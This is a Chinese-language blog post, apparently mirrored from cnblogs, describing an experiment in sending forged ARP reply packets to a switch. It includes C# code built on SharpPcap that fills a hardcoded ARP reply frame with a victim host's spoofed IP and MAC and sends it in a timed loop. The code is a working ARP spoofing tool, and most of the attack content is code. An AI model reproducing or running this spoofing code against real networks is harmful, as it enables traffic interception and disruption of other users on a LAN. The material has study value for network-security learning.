zoukankan      html  css  js  c++  java
  • 利用Sniffer分析 ARP报文

         本想写点什么,转念一想没有什么新的东西可写。比如sniffer的使用、局域网扫描原理、 ARP欺骗原理和方式,交换机的报文交换原理,等网上都有好多材料。我这里做的实验的是sniffer向交换机发送ARP欺骗报文.过程不做多说明,首先打开sniffer准备获取报文,然后ping某个主机 ,就可以获取ARP报文了,点击发送此帧。这里做一些修改,源MAC为被攻击主机MAC,目的MAC为交换机MAC,目的IP为交换机的IP  ,源IP为被攻击主机的IP。

    如图:

    查找网上相关资料,用C#写了个发送ARP报文的小程序,其实也就只是做的修改,原程序存在一点小错误。

    程序界面 如图:

    这个代码是调用开源项目SharpPcap开源的网络捕获项目http://sourceforge.net/projects/sharppcap/。  //链接已坏

     这个项目和所有sniffer软件一样,是用wincap库的。需要安装wincap。http://www.winpcap.org/   //链接已坏

    核心代码分析:
    //获取存在XML文档中的数据
            public data getDate() 
            {
                FileStream fs = File.OpenRead("config.xml");
                System.Xml.Serialization.XmlSerializer xml = new System.Xml.Serialization.XmlSerializer (typeof(data));
                data data = (data)xml.Deserialize(fs);
                fs.Close();    //需要关闭读取流,不然写入会有错误。源码在此处存在错误
                return data;
            }
    //。。。。。。
    
    //当关闭时,把修改之后的数据写入XML文档
    public void saveData(data data) 
            {
               FileStream fs = File.OpenWrite("config.xml");
               System.Xml.Serialization.XmlSerializer xml = new System.Xml.Serialization.XmlSerializer(typeof(data));
               xml.Serialize(fs, data);
               fs.Close();
            }
    
    
     /// <summary>
            /// 发送数据
            /// </summary>
            public  void sendPack()
            {
               //需要添加SharpPcap.dll和PacketDotNet.dll引用
                var cap = SharpPcap.CaptureDeviceList.Instance[0];
                cap.Open();
                while (true)
                {
                    cap.SendPacket(packet);
                    Time++;
                    label1.Text = Time+"";
                    if (Time == Convert.ToInt32(textBox2.Text)) 
                    {
                        button2.Enabled = false;
                        t.Abort();
                     }
                    Thread.Sleep(timeSpan);
                }
            }
    
    
    /// <summary>
            /// 获取数据包,把需要设置数据插入到数据包中
            /// </summary>
            /// <returns></returns>
            public byte[] getPacket(byte[] yIP,byte[] mIP,byte[] yMAC,byte[] mMAC)
            {
                //ARP数据包,这里可以结合第一张图片。
                byte[] packet = new byte[] { 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 
                    0x08, 0x06, 0x00, 0x01, 0x08, 0x00, 0x06, 0x04, 0x00, 0x02, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 
                    0xc0, 0xa8, 0x01, 0x01, 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0xc0, 0xa8, 0x01, 0x63, 0x00, 0x00, 
                    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5d, 0x27, 0xa1, 0xb5};
                //循环替换IP
                for (int i = 0; i < 4; i++)
                {
                    packet[i + 28] = yIP[i];             
                    packet[i + 38] = mIP[i];
                }
                //循环替换MAC
                for (int i = 0; i < 6; i++)
                {
                    packet[i+ 22] = yMAC[i];
                    packet[i] = mMAC[i];
                    packet[i+6] = yMAC[i]; 
                    packet[i + 32] = mMAC[i];
                }
                return packet;
            }
     

    代码参考http://www.cnblogs.com/zifeiniu/archive/2011/06/16/2083015.html

  • 相关阅读:
    EPANET头文件解读系列4——EPANET2.H
    EPANET头文件解读系列3——TOOLKIT.H
    EPANET头文件解读系列2——ENUMSTXT.H
    EPANET头文件解读系列1——TEXT.H
    ENUMSTXT.H中的指针数组
    main函数的参数
    函数指针与指针函数
    FMDB源码阅读
    17个提升iOS开发效率的必用工具
    UIKit性能调优实战讲解
  • 原文地址:https://www.cnblogs.com/dreamfactory/p/2732542.html
Copyright © 2011-2022 走看看